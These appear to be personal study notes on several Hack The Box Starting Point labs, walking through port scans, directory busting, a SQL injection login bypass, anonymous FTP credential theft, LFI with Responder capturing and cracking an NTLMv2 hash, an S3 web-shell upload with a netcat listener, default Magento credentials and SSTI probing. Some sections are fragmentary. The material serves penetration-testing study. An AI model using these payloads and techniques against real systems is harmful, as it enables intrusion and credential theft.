TIER: 1

Appointment - LINUX - VERY EASY

TAGS: Web, Databases, Injection, Apache, MariaDB, PHP, SQL, Reconnaissance, SQL Injection

  1. Enumeration

First, we perform an nmap scan to find the open and available ports and their services. If no alternative flag is specified in the command syntax, nmap will scan the most common 1000 TCP ports for active services. "noisy", meaning that it involves sending a large number of requests every second, so much that it becomes easily detectable by perimeter security devices that are fine-tuned to listen for non-human interactions with log-in forms.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.219.254

The only open port we detect is port 80 TCP, which is running the Apache httpd server version 2.4.38 .

Apache HTTP Server is a free and open-source application that runs web pages on either physical or virtual web servers. It is one of the most popular HTTP servers, and it usually runs on standard HTTP ports such as ports 80 TCP, 443 TCP, and alternatively on HTTP ports such as 8080 TCP or 8000 TCP. HTTP stands for Hypertext Transfer Protocol, and it is an application-layer protocol used for transmitting hypermedia documents, such as HTML (Hypertext Markup Language).

The nmap scan provided us with the exact version of the Apache httpd service, which is 2.4.38. Usually, a good idea would be to search up the service version on popular vulnerability databases online to see if any vulnerability exists for the specified version. However, in our case, this version does not contain any known vulnerability that we could potentially exploit.

Usually, a good idea would be to search up the service version on popular vulnerability databases online to see if any vulnerability exists for the specified version.

https://search.censys.io/
https://www.shodan.io/
https://www.exploit-db.com/

Gobuster Building from source code and compiling:

git clone https://github.com/OJ/gobuster.git
go get && go build
go install
gobuster --help
gobuster dir --url http://{target-ip}/ --wordlist {wordlist-path}/wordlist.txt
dir : Specify that we wish to do web directory enumeration.
--url : Specify the web address of the target machine that runs the HTTP server.
--wordlist : Specify the wordlist that we want to use.

Wordlist wordlists we will be using will contain standard directory and file names (images , scripts , login.php , admin.php) Path:

https://github.com/danielmiessler/SecLists
/usr/share/wordlists
  1. Foothold:

DEFAULT CREDENTIALS To check for default credentials, we could type the most common combinations in the username and password fields, such as:

admin:admin
guest:guest
user:user
root:root
administrator:password

After attempting all of those combinations, we have still failed to log in. We could, hypothetically, use a tool to attempt brute-forcing the log-in page. However, that would take much time and might trigger a security measure. The next sensible tactic would be to test the log-in form for a possible SQL Injection vulnerability

SQL INJECTION: The next sensible tactic would be to test the log-in form for a possible SQL Injection vulnerability.

Note that we can specify the username and password through the log-in form on the web page. However, it will be directly embedded in the $sql variable that performs the SQL query without input validation. Notice that no regular expressions or functions forbid us from inserting special characters such as a single quote or hashtag. This is a dangerous practice because those special characters can be used for modifying the queries. The pair of single quotes are used to specify the exact data that needs to be retrieved from the SQL Database, while the hashtag symbol is used to make comments. Therefore, we could manipulate the query command by inputting the following

Username: admin'#

We will close the query with that single quote, allowing the script to search for the admin username. By adding the hashtag, we will comment out the rest of the query, which will make searching for a matching password for the specified username obsolete. If we look further down in the PHP code above, we will see that the code will only approve the log-in once there is precisely one result of our username and password combination. However, since we have skipped the password search part of our query, the script will now only search if any entry exists with the username admin . In this case, we got lucky. There is indeed an account called admin , which will validate our SQL Injection and return the 1 value for the $count variable, which will be put through the if statement , allowing us to log-in without knowing the password. If there was no admin account, we could try any other accounts until we found one that existed. ( administrator , root , john_doe , etc.) Any valid, existing username would make our SQL Injection work. In this case, because the password-search part of the query has been skipped, we can throw anything we want at the password field, and it will not matter.

Password: abc123

To be more precise, here is how the query part of the PHP code gets affected by our input.

SELECT * FROM users WHERE username='admin'#' AND password='a'

Notice how following our input, we have commented out the password check section of the query? This will result in the PHP script returning the value 1 (1 row found) for username = 'admin' without checking the password field to match that entry. This is due to a lack of input validation in the PHP code shown above

-------------------------------------------------------------------------------------

Sequal - LINUX - VERY EASY

TAGS: Vulnerability Assessment, Databases, MySQL, SQL, Reconnaissance, Weak Credentials

  1. Enumeration:

NAMP

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.95.232 

-sC: Performs a script scan using the default set of scripts. It is equivalent to --
script=default. Some of the scripts in this category are considered intrusive and
should not be run against a target network without permission.
-sV: Enables version detection, which will detect what versions are running on what
port.

We only found one open port - 3306, which runs a service named MySQL 5.5.5-10.3.27-MariaDB0+deb10u1 . MySQL is a service designed for database management: creating, modifying, and updating databases, changing and adding data, and more.

  1. Foothold:

In order to communicate with the database, we need to install either mysql or mariadb on our local machine. To do that, you need to run the following command. Make sure you include the * symbol at the end of the command to include all the related MySQL packages available. This will cover all of your needs for now.

sudo apt update && sudo apt install mysql*
mysql --help 

Note that the MySQL clients usually authenticate with the service with a username/password combination. However, it is essential to test for passwordless authentication, as there might be an intentional misconfiguration in the service, which would allow personnel to easily log into the service during the deployment stage of the project to easily interact with it before making it available to other colleagues. In the present situation, an initial attempt can be to attempt a log-in as the root user, naturally having the highest level of privileges on the system.

mysql -h 10.129.106.233 -u root
-h : Connect to host.
-u : User for log-in if not current user.

With an ounce of luck, our connection is accepted without a password requirement. We are placed in a MySQL service shell from where we can explore the tables and data therein that are available to us. If you need help with MySQL command syntax, you can refer to the cheatsheet provided by MySQLTutorial.

The commands we are going to use are essential for navigation:

SHOW databases; : Prints out the databases we can access.
USE {database_name}; : Set to use the database named {database_name}.
SHOW tables; : Prints out the available tables inside the current database.
SELECT * FROM {table_name}; : Prints out all the data from the table {table_name}.

Note that it is essential to end each command with the ; symbol, as it declares the end of the command. Apart from that, SQL is a query-oriented language, which means that you supply it with one query at a time.

From the output, the htb database seems to be of value to us. In order to see what rests inside it, we will need to "select" the htb database as the active one - the database we want to actively interact with for our subsequent commands

USE htb;

We have successfully changed the database. The next step is to check what tables does the htb database contain.

SHOW tables;

We have two tables: config and users . These can be checked sequentially for their content by using the SELECT * FROM {table_name} command, where {table_name} is the exact name of the table you want to explore, taken from the output above. Once we query the config table for contents, the flag entry is output in our terminal, alongside its' value.

SELECT * FROM config; 

-------------------------------------------------------------------------------------

Crocodile - LINUX -VERY EASY

TAGS: Web, Network, Custom Applications, Protocols, Apache, FTP, Reconnaissance, Web Site Structure Discovery, Clear Text Credentials, Anonymous/Guest Access

  1. Enumeration

NMAP:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.70.126

We have two open ports: 21 and 80. Port 21 is the port dedicated to FTP (File Transfer Protocol), meaning that its' primary use is to transfer files between hosts on the same network.

FTP

The File Transfer Protocol (FTP) is a standard communication protocol used to transfer computer files from a server to a client on a computer network. FTP users may authenticate themselves with a clear-text sign-in protocol, generally using a username and password. However, they can connect anonymously if the server is configured to allow it. Users could connect to the FTP server anonymously if the server is configured to allow it, meaning that we could use it even if we had no valid credentials. If we look back at our nmap scan result, the FTP server is indeed configured to allow anonymous login:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

To connect to the remote FTP server, you need to specify the target's IP address (or hostname), as displayed on the Starting Point lab page. The prompt will then ask us for our login credentials, which is where we can fill in the anonymous username. In our case, the FTP server does not request a password, and inputting the anonymous username proves enough for us to receive the 230 code, Login successful .

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.70.126

Name (10.129.70.126:kali): anonymous

Once logged in, you can type the help command to check the available commands.

ftp> help

We will use dir and get to list the directories and manipulate the files stored on the FTP server. With the dir command, we can check the contents of our current directory on the remote host, where two interesting files catch out attention. They seem to be files left over from the configuration of another service on the host, most likely the HTTPD Web Server. Their names are descriptive, hinting towards a possible username list and associated passwords.

Both files can easily be downloaded using the get command. The FTP service will report the download status completion back to you during this phase. It should not take long to have them both sitting snuggly on your attacking VM.

ftp> get allowed.urserlist
ftp> get allowed.userlist.passwd

Termination of the FTP connection can be done by using the exit command. This will return the current terminal tab to its' previous state.

ftp> exit

Immediately after exiting the FTP service shell, we can type in the ls command to check if our files are present in the directory we were last positioned in. In order to read their contents and discover and usernames and passwords within, we can use the cat command, followed by the name of the file we want to open.

ls
cat allowed.urserlist
  1. Foothold:

After the credentials have been obtained, the next step is to check if they are used on the FTP service for elevated access or the webserver running on port 80 discovered during the nmap scan. Attempting to log in with any of the credentials on the FTP server returns error code 530 This FTP server is anonymous only . No luck here, so we can exit the FTP service shell.

However, we have one option left. During the nmap scan, the service running on port 80 was reported as Apache httpd 2.4.41 , an Apache HTTP server. Typing in the IP address of the target into our browser's URL search bar results in this webpage. It seems to be a storefront for a server hosting company.

aron
pwnmeow
egotisticalsw
admin

root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

TECHNOLOGY:

From the output of Wappalyzer, we can note some of the more interesting items, specifically the PHP programming language used to build the web page. However, nothing gives us a direct plan of attack for now. Meanwhile, navigating around the page using the tabs and buttons provided on it leads us nowhere. Referencing previous write-ups, there is mention of a different, more direct way of navigating any hidden or hardly accessible directories and pages, and that is through dir busting. Using gobuster as our tool of choice, we can use the following switches for the script to get the fastest, most accurate results.

This plug-in analyzes the web page's code and returns all the different technologies used to build it, such as the webserver type, JavaScript libraries, programming languages, and more. You can press the links below to add the plug-in to your browser of choice.

GOBUSTER:

┌──(kali㉿kali)-[~]
└─$ gobuster dir --url http://10.129.70.126/ --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html

--url : The target URL.
--wordlist : Path to the wordlist.
-x : File extension(s) to search for.

For the -x switch, we can specify php and html to filter out all the unnecessary clutter that does not interest us. PHP and HTML files will most commonly be pages. We might get lucky and find an administrative panel login page that could help us find leverage against the target in combination with the credentials we extracted from the FTP server.

One of the most interesting files gobuster retrieved is the /login.php page. Navigating manually to the URL, in the form of http://{target_IP}/login.php , we are met with a login page asking for a username/password combination.

/login.php 

If the lists of credentials we found had been longer, we could have used a Metasploit module or a login brute-force script to run through combinations from both lists faster than manual labor. In this case, however, the lists are relatively small, allowing us to attempt logging in manually.

After attempting several username/password combinations, we manage to log in and are met with a Server Manager admin panel. Once here, an attacker could manipulate the website in whichever way they desired, causing havoc for the userbase and owners or extract more information that would assist them with gaining a foothold on the servers hosting the web page.

-------------------------------------------------------------------------------------

RESPONDER - WINDOWS - VERY EASY

TAGS: WinRM, Web, Network, Custom Applications, Protocols, XAMPP, SMB, Responder, PHP, Reconnaissance, Password Cracking, Hash Capture, Remote File Inclusion, Remote Code Execution

  1. Enumeration

We will begin by scanning the host for any open ports and running services with a Nmap scan. We will be using the following flags for the scan:

nmap -p- --min-rate 1000 -sV 10.129.143.202
-p- : This flag scans for all TCP ports ranging from 0-65535
-sV : Attempts to determine the version of the service running on a port
--min-rate : This is used to specify the minimum number of packets Nmap should send per
second; it speeds up the scan as the number goes higher

Windows Remote Management WinRM, is a Windows-native built-in remote management protocol that basically uses Simple Object Access Protocol to interact with remote computers and servers, as well as Operating Systems and applications. WinRM allows the user to : → Remotely communicate and interface with hosts → Execute commands remotely on systems that are not local to you but are network accessible. → Monitor, manage and configure servers, operating systems and client machines from a remote location. As a pentester, this means that if we can find credentials (typically username and password) for a user who has remote management privileges, we can potentially get a PowerShell shell on the host.

Website Enumeration

On opening Firefox and putting http://[target ip] , the browser returns a message about being unable to find that site. Looking in the URL bar, it now shows http://unika.htb . The website has redirected the browser to a new URL, and your host doesn't know how to find unika.htb . This webserver is employing name-based Virtual Hosting for serving the requests.

Name-Based Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server. This allows one server to share its resources, such as memory and processor cycles, without requiring all the services to be used by the same hostname. The web server checks the domain name provided in the Host header field of the HTTP request and sends a response according to that. The /etc/hosts file is used to resolve a hostname into an IP address & thus we will need to add an entry in the /etc/hosts file for this domain to enable the browser to resolve the address for unika.htb. Entry in the /etc/hosts file:

echo "10.129.143.202 unika.htb" | sudo tee -a /etc/hosts

Adding this entry in the /etc/hosts file will enable the browser to resolve the hostname unika.htb to the corresponding IP address & thus make the browser include the HTTP header Host: unika.htb in every HTTP request that the browser sends to this IP address, which will make the server respond with the webpage for unika.htb . On accessing the web page we are presented with a web designing business landing page

Checking the site out, we see nothing of particular interest. Although, we notice a language selection option on the navbar EN and changing the option to FR takes us to a French version of the website. Noticing the URL, we can see that the french.html page is being loaded by the page parameter, which may potentially be vulnerable to a Local File Inclusion (LFI) vulnerability if the page input is not sanitized.

File Inclusion Vulnerability

Dynamic websites include HTML pages on the fly using information from the HTTP request to include GET and POST parameters, cookies, and other variables. It is common for a page to "include" another page based on some of these parameters.

LFI or Local File Inclusion occurs when an attacker is able to get a website to include a file that was not intended to be an option for this application. A common example is when an application uses the path to a file as input. If the application treats this input as trusted, and the required sanitary checks are not performed on this input, then the attacker can exploit it by using the ../ string in the inputted file name and eventually view sensitive files in the local file system. In some limited cases, an LFI can lead to code execution as well.

RFI or Remote File Inclusion is similar to LFI but in this case it is possible for an attacker to load a remote file on the host using protocols like HTTP, FTP etc. We test the page parameter to see if we can include files on the target system in the server response. We will test with some commonly known files that will have the same name across networks, Windows domains, and systems which can be found here. One of the most common files that a penetration tester might attempt to access on a Windows machine to verify LFI is the hosts file, WINDOWS\System32\drivers\etc\hosts (this file aids in the local translation of host names to IP addresses). The ../ string is used to traverse back a directory, one at a time. Thus multiple ../ strings are included in the URL so that the file handler on the server traverses back to the base directory i.e.

C:\http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

Great, LFI is possible as we can view the contents of the C:\windows\system32\drivers\etc\hosts file in the response. The file inclusion, in this case, was made possible because in the backend the include() method of PHP is being used to process the URL parameter page for serving a different webpage for different languages. And because no proper sanitization is being done on this page parameter, we were able to pass malicious input and therefore view the internal system files.

What is the include() method in PHP?

The include statement takes all the text/code/markup that exists in the specified file and loads it into the memory, making it available for use. For example:

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>

Responder Challenge Capture We know that this web page is vulnerable to the file inclusion vulnerability and is being served on a Windows machine. Thus, there exists a potential for including a file on our attacker workstation. If we select a protocol like SMB, Windows will try to authenticate to our machine, and we can capture the NetNTLMv2.

What is NTLM (New Technology Lan Manager)? https://www.ionos.com/digitalguide/server/know-how/ntlm-nt-lan-manager/ NTLM is a collection of authentication protocols created by Microsoft. It is a challenge-response authentication protocol used to authenticate a client to a resource on an Active Directory domain. It is a type of single sign-on (SSO) because it allows the user to provide the underlying authentication factor only once, at login. The NTLM authentication process is done in the following way :

  1. The client sends the user name and domain name to the server.

  2. The server generates a random character string, referred to as the challenge.

  3. The client encrypts the challenge with the NTLM hash of the user password and sends it back to the server.

  4. The server retrieves the user password (or equivalent).

  5. The server uses the hash value retrieved from the security account database to encrypt the challenge string. The value is then compared to the value received from the client. If the values match, the client is authenticated.

NTLM vs NTHash vs NetNTMLv2 The terminology around NTLM authentication is messy, and even pros misuse it from time to time, so let's get some key terms defined:

  • hash function: is a one-way function that takes any amount of data and returns a fixed size value. Typically, the result is referred to as a hash, digest, or fingerprint. They are used for storing passwords more securely, as there's no way to convert the hash directly back to the original data (though there are attacks to attempt to recover passwords from hashes, as we'll see later). So a server can store a hash of your password, and when you submit your password to the site, it hashes your input, and compares the result to the hash in the database, and if they match, it knows you supplied the correct password.

  • NTHash: is the output of the algorithm used to store passwords on Windows systems in the SAM database and on domain controllers. An NTHash is often referred to as an NTLM hash or even just an NTLM, which is very misleading / confusing.

  • NTLMv2: When the NTLM protocol wants to do authentication over the network, it uses a challenge / response model as described above. A NetNTLMv2 challenge / response is a string specifically formatted to include the challenge and response. This is often referred to as a NetNTLMv2 hash, but it's not actually a hash. Still, it is regularly referred to as a hash because we attack it in the same manner. You'll see NetNTLMv2 objects referred to as NTLMv2, or even confusingly as NTLM.

Using Responder https://github.com/SpiderLabs/Responder https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds#lfi In the PHP configuration file php.ini , "allow_url_include" wrapper is set to "Off" by default, indicating that PHP does not load remote HTTP or FTP URLs to prevent remote file inclusion attacks. However, even if allow_url_include and allow_url_fopen are set to "Off", PHP will not prevent the loading of SMB URLs. In our case, we can misuse this functionality to steal the NTLM hash.

How does Responder work? Responder can do many different kinds of attacks, but for this scenario, it will set up a malicious SMB server. When the target machine attempts to perform the NTLM authentication to that server, Responder sends a challenge back for the server to encrypt with the user's password. When the server responds, Responder will use the challenge and the encrypted response to generate the NetNTLMv2. While we can't reverse the NetNTLMv2, we can try many different common passwords to see if any generate the same challenge-response, and if we find one, we know that is the password. This is often referred to as hash cracking, which we'll do with a program called John The Ripper.

Verify that the Responder.conf is set to listen for SMB requests.

ls 
cd Responder
cat Responder.conf

With the configuration file ready, we can proceed to start Responder with python3 , passing in the interface to listen on using the -I flag

sudo python3 Responder.py -I tun0

The network interface can be checked by running the ifconfig command in the terminal. In the case of Kali Linux or the HTB Pawnbox, Responder is installed by default as a system utility, thus it can be launched just by running the command

sudo responder -I {network_interface}

In case, an error is raised regarding not being able to start TCP server on port 80 , it is because port 80 is already being used by another service on the machine. This error can be circumvented by altering the Responder.conf file to toggle off the "HTTP" entry which is listed under the "Servers to start" section.

Location of Responder.conf file

-> for default system install : /usr/share/responder/Responder.conf
-> for github installation : /installation_directory/Responder.conf

Setting the "HTTP" flag to "Off" under the "Servers to start" section in the Responder.conf file :

; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
[** SNIP **]

With the Responder server ready, we tell the server to include a resource from our SMB server by setting the page parameter as follows via the web browser.

http://unika.htb/?page=//10.10.14.146/somefile

In this case, because we have the freedom to specify the address for the SMB share, we specify the IP address of our attacking machine. Now the server tries to load the resource from our SMB server, and Responder captures enough of that to get the NetNTLMv2. Note: Make sure to add http:// in the address as some browsers might opt for a Google search instead of navigating to the appropriate page. After sending our payload through the web browser we get an error about not being able to load the requested file.

The NetNTLMv2 includes both the challenge (random text) and the encrypted response:

[SMB] NTLMv2-SSP Client   : 10.129.143.202
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:f65e8cd097f8ea93:BA3FA1FF88AB5F46424BCAAE8C30050F:0101000000000000802842B478F3D901B22B0105086F8F300000000002000800380054004300580001001E00570049004E002D004E0048004D003400310031004B0038004F003800350004003400570049004E002D004E0048004D003400310031004B0038004F00380035002E0038005400430058002E004C004F00430041004C000300140038005400430058002E004C004F00430041004C000500140038005400430058002E004C004F00430041004C0007000800802842B478F3D901060004000200000008003000300000000000000001000000002000001DFA9B3E4A5E42D0A2D4E67A4C5D0487007386879C9C0B714E63B4E4D265817C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100340036000000000000000000 

Hash Cracking We can dump the hash into a file and attempt to crack it with john , which is a password hash-cracking utility.

$ echo "Administrator::RESPONDER:f65e8cd097f8ea93:BA3FA1FF88AB5F46424BCAAE8C30050F:0101000000000000802842B478F3D901B22B0105086F8F300000000002000800380054004300580001001E00570049004E002D004E0048004D003400310031004B0038004F003800350004003400570049004E002D004E0048004D003400310031004B0038004F00380035002E0038005400430058002E004C004F00430041004C000300140038005400430058002E004C004F00430041004C000500140038005400430058002E004C004F00430041004C0007000800802842B478F3D901060004000200000008003000300000000000000001000000002000001DFA9B3E4A5E42D0A2D4E67A4C5D0487007386879C9C0B714E63B4E4D265817C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100340036000000000000000000" > hash.txt

We pass the hash file to john and crack the password for the Administrator account. The hash type is automatically identified by the john command-line tool -w : wordlist to use for cracking the hash

john -w=/usr/share/wordlists/rockyou.txt hash.txt

Created directory: /home/kali/.john Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status badminton (Administrator) 1g 0:00:00:00 DONE (2023-09-30 08:42) 25.00g/s 102400p/s 102400c/s 102400C/s slimshady..oooooo Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.

john will try each password from the given password list, encrypting the challenge with that password. If the result matches the response, then it knows it found the correct password. In this case, the password of the Administrator account has been successfully cracked.

password : badminton

WinRM

We'll connect to the WinRM service on the target and try to get a session. Because PowerShell isn't installed on Linux by default, we'll use a tool called Evil-WinRM which is made for this kind of scenario.

evil-winrm -i 10.129.143.202 -u administrator -p badminton 

We can find the flag under C:\Users\mike\Desktop\flag.txt

Congratulations! You can now use the type command to view the contents of the flag.txt

..
ls
cd Desktop 
type flag.txt

-------------------------------------------------------------------------------------

Three - LINUX - VERY EASY

TAGS: AWS, Web, Cloud, Custom Applications, Reconnaissance, Web Site Structure Discovery, Bucket Enumeration, Arbitrary File Upload, Anonymous/Guest Access

  1. Enumeration:

NAMP:

sudo nmap -sV 10.129.180.85

The scan shows that two ports are open - port 80 (HTTP) and port 22 (SSH). Let's enumerate port 80 using our web browser.

We can see a static webpage that features a concert ticket booking section but it isn't functional. Let's further try to identify the technology stack of the website using a browser extension known as Wappalyzer. Wappalyzer identifies PHP as the programming language being used by the website. Upon scrolling down the webpage, we come across the "Contact" section, which has email information. The email given here has the domain thetoppers.htb .

Let's add an entry for thetoppers.htb in the /etc/hosts file with the corresponding IP address to be able to access this domain in our browser. The /etc/hosts file is used to resolve a hostname into an IP address. By default, the /etc/hosts file is queried before the DNS server for hostname resolution thus we will need to add an entry in the /etc/hosts file for this domain to enable the browser to resolve the address for thetoppers.htb .

echo "10.129.180.85 thetoppers.htb" | sudo tee -a /etc/hosts

Sub-domain enumeration

A subdomain name is a piece of additional information added to the beginning of a website’s domain name. It allows websites to separate and organize content for a specific function — such as a blog or an online store — from the rest of your website.

For example, if we visit hackthebox.com we can access the main website. Or, we can visit ctf.hackthebox.com to access the section of the website that is used for CTFs. In this case, ctf is the subdomain, hackthebox is the primary domain and com is the top-level domain (TLD). Although the URL changes slightly, you’re still on HTB's website, under HTB's domain

As we have the domain thetoppers.htb , let us enumerate for any other sub-domains that may be present on the same server. There are different enumeration tools available for this purpose like gobuster , wfuzz , feroxbuster etc. As of this writeup, we will be using gobuster for sub-domain enumeration using the following command.

gobuster vhost -w /home/kali/Downloads/subdomains-top1million-5000.txt -u http://thetoppers.htb
We will be using the following flags for gobuster .
vhost : Uses VHOST for brute-forcing
-w : Path to the wordlist
-u : Specify the URL

echo "10.129.180.85 s3.thetoppers.htb" | sudo tee -a /etc/hosts

What is an S3 bucket?

A quick Google search containing the keywords "s3 subdomain status running" returns this result stating that S3 is a cloud-based object storage service. It allows us to store things in containers called buckets. AWS S3 buckets have various use-cases including Backup and Storage, Media Hosting, Software Delivery, Static Website etc. The files stored in the Amazon S3 bucket are called S3 objects.

We can interact with this S3 bucket with the aid of the awscli utility. It can be installed on Linux using the command apt install awscli . First, we need to configure it using the following command.

sudo apt install awscli
aws configure

AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp

We can list all of the S3 buckets hosted by the server by using the ls command.

aws --endpoint=http://s3.thetoppers.htb s3 ls

We can also use the ls command to list objects and common prefixes under the specified bucket.

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
ifconfig

nc -nvlp 1337

python3 -m http.server 8000

http://thetoppers.htb/shell.php
http://thetoppers.htb/shell.php?cmd=ls
http://thetoppers.htb/shell.php?cmd=ls+../
http://thetoppers.htb/shell.php?cmd=cat+../flag.txt

cat /var/www/flag.txt

-------------------------------------------------------------------------------------

IGNITION - VIP - LINUX - VERY EASY

TAGS: Web, Common Applications, Magento, Reconnaissance, Web Site Structure Discovery, Weak Credentials

Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.196.209  

This yields us a singular result, port 80 open and running nginx 1.14.2. So far, this seems straight forward. However, from the output right below that, we notice that http-title returns Did not follow redirect to http://ignition.htb . Keep this URL in mind for now.

Upon attempting to access the webpage through a browser window, we are presented with the following error. The Check if there is a typo in ignition.htb references the same URL we found during our nmap scan, but without further details as to what might cause this error to pop up when simply attempting to access the website. Below, a more detailed error code is displayed: DNS_PROBE_FINISHED_NXDOMAIN .

After a quick Google search of the error, we learn that there might be two underlying reasons to this error appearing.

  • We've mistyped the ignition.htb address in our URL search bar, and the DNS servers can't find the associated IP address for the mistyped name.

  • We never entered any hostname such as ignition.htb into the search bar, but the website expects us to

Since we know for a fact that we never entered any hostname into the search bar, we will be exploring the second option only. This option refers to an issue with what is known as name-based VHosting (or Virtual Hosting).

In short, multiple websites can share the same IP address, allowing users to access them separately by visiting the specific hostnames of each website instead of the hosting server's IP address. The webserver we are making requests to is throwing us an error because we haven't specified a certain hostname out of the ones that could be hosted on that same target IP address. From here, we'd think that simply inputting ignition.htb instead of the target IP address into the search bar would solve our issue, but unfortunately, this is not the case. When entering a hostname instead of an IP address as the request's destination, there is a middleman involved that you might not know about.

cURL

cURL is pre-installed with almost every Linux operating system. To see its' capabilities, type curl -h in your terminal.

┌──(kali㉿kali)-[~]
└─$ curl -h  

Looking through the help menu options, we decide to simply make the output more detailed, in order to learn as much as possible from the target's responses. We can achieve this by increasing the verbosity of the script's output.

┌──(kali㉿kali)-[~]
└─$ curl -v http://10.129.196.209/

-v : Make the operation more talkative. More detailed output will be displayed during
runtime.

As observed from the screenshot above, our request contains a Host field which is home to the target's IP address instead of the hostname. The 302 Found response, together with the Location header, indicates that the resource we requested ( / ) has been (temporarily) moved to http://ignition.htb/ . This means that our assumptions were true.

To solve the issue we are currently facing here, we will modify our local DNS file named hosts located in the /etc directory. The first command illustrated below has the purpose of inputting the target's IP address with its' associated hostname in the hosts table, which would in turn allow your web client to visit the website which was previously reporting an error. Make sure to replace the {target_IP} part on the first line with the actual IP address for your own target instance, and the {your_password} part on the second line with your VM's user account password, since this action requires superuser privileges. The second command has the role of verifying your previous input. Reading the /etc/hosts file of your Linux system should return an entry for ignition.htb with the associated target IP address.

┌──(kali㉿kali)-[~]
└─$ echo "10.129.196.209 ignition.htb" | sudo tee -a /etc/hosts  

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts

Once this configuration is complete, we can proceed to reload the target's webpage and verify if it loads successfully. Since the requested hostname now has an association in your hosts file, the website can load without issue. From here, we can start working towards gaining a foothold.

Foothold:

After exploring the landing page for a short period of time, we can deduce that nothing helpful can be leveraged here. The only option of exploring the website further is using gobuster.

┌──(kali㉿kali)-[~]
└─$ gobuster dir --url http://ignition.htb/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 

From the output of our gobuster script, we find our target. The /admin page returns a 200 response code, signalling its' availability. We can navigate to it by appending it to the end of the URL:

http://ignition.htb/admin

A login screen is presented to us, with a logo for Magento boasting in the middle of the page. A username and password are being requested. Normally, we would go off credentials we extracted through other means, such as an FTP server left unsecured, as seen before. This time, however, we will attempt some default credentials for the Magento service, since there is no other basis upon which we can rely

Magento:

The Magento Admin is protected by multiple layers of security measures to prevent unauthorized access to your store, order, and customer data. The first time you sign in to the Admin, you are required to enter your username and password and to set up twofactor authentication (2FA).

According to the documentation, we should not attempt to brute force this login form because it has antibruteforce measures implemented, we will need to guess the password. Since the password must be seven or more characters long & to include both letters and numbers, we can attempt to use the most common passwords of the year 2021 as well as a common username, such as admin . From the list, only the following password fulfils the requirements https://cybernews.com/best-password-managers/most-common-passwords/

After manually attempting a number of these credentials, we land on a successful login. The correct combination is: admin:qwerty123 . We are presented with the Magento administrative panel, where the flag can be found under the Advanced Reporting section of the Dashboard.

-------------------------------------------------------------------------------------

BIKE - VIP - LINUX - VERY EASY

TAGS: Web, Injection, Custom Applications, NodeJS, Reconnaissance, Remote Code Execution, Server Side Template Injection (SSTI)

Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -v 10.129.65.176
-sC: Performs a script scan using the default set of scripts. It is equivalent to --script=default.
-sV: Version detection
-v: Increases the verbosity level, causing Nmap to print more information about the scan in progress.

The scan reveals port 22 (SSH) open, however, we will ignore it for now as we don't have credentials or keys that can be used to authenticate. We also have port 80 open, which is running an HTTP Node.js server and making use of the Express framework.

Upon visiting port 80, we are presented with a webpage that is currently under construction and the option to subscribe to updates about the page using an email address. An email subscription in web pages is usually an option that allows web visitors to receive updates via email, regarding the status of the website or the company or individual that owns it. Let's provide a test email to verify we have a working application. When given an application to test, use it as if you are using it intendedly. Sometimes, developers put in poor code as a quick solution, leading to vulnerabilities. Let's input the email pwninx@hackthebox.eu and click submit.

pwninx@hackthebox.eu

The output shows that any input that is submitted in the Email field gets reflected back to the user once the page reloads. This could lead us down a trail of thinking about various potential exploitation vectors such as Cross Site Scripting (XSS), however, we first need to know what frameworks and coding languages the website uses for its backend.

In this instance we have a pretty good rundown of the server backend from the Nmap report on port 80, however, we can also use a helpful extension called Wappalyzer, which scans the website and finds information the web page is using, such as:

  • Web Frameworks

  • JavaScript Frameworks

  • Web Servers

  • Programming Languages

  • Widgets

  • And many more...

Both Nmap and Wappalyzer have reported that the server is built on Node.js and is using the Express framework.

With this information in mind we can start identifying potential exploitation paths. Various attempts at verifying an XSS vulnerability with default payloads, such as alert(1) , have been unsuccessful. For this reason we must look for a different vulnerability. Node.js and Python web backend servers often make use of a software called "Template Engines".

Identification:

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#identify

In order to exploit a potential SSTI vulnerability we will need to first confirm its existence. After researching for common SSTI payloads on Google, we find this Hacktricks article that showcases exploitation techniques for various different template engines. The following image shows how to identify if an SSTI vulnerability exists and how to find out which Template engine is being used. Once the engine is identified a more specific payload can be crafted to allow for remote code execution.

The Identify paragraph in the Hacktricks page shows a variety of special characters commonly used in template expressions.

Some of these payloads can also be seen in the previous image and are used to identify SSTI vulnerabilities. If an SSTI exists, after submitting one of them, the web server will detect these expressions as valid code and attempt to execute them, in this instance calculating the mathematical equation 77 (Seven multiplied by Seven), which is equal to 49. To test for the vulnerability lets try inputting ${77} into the email submission form.

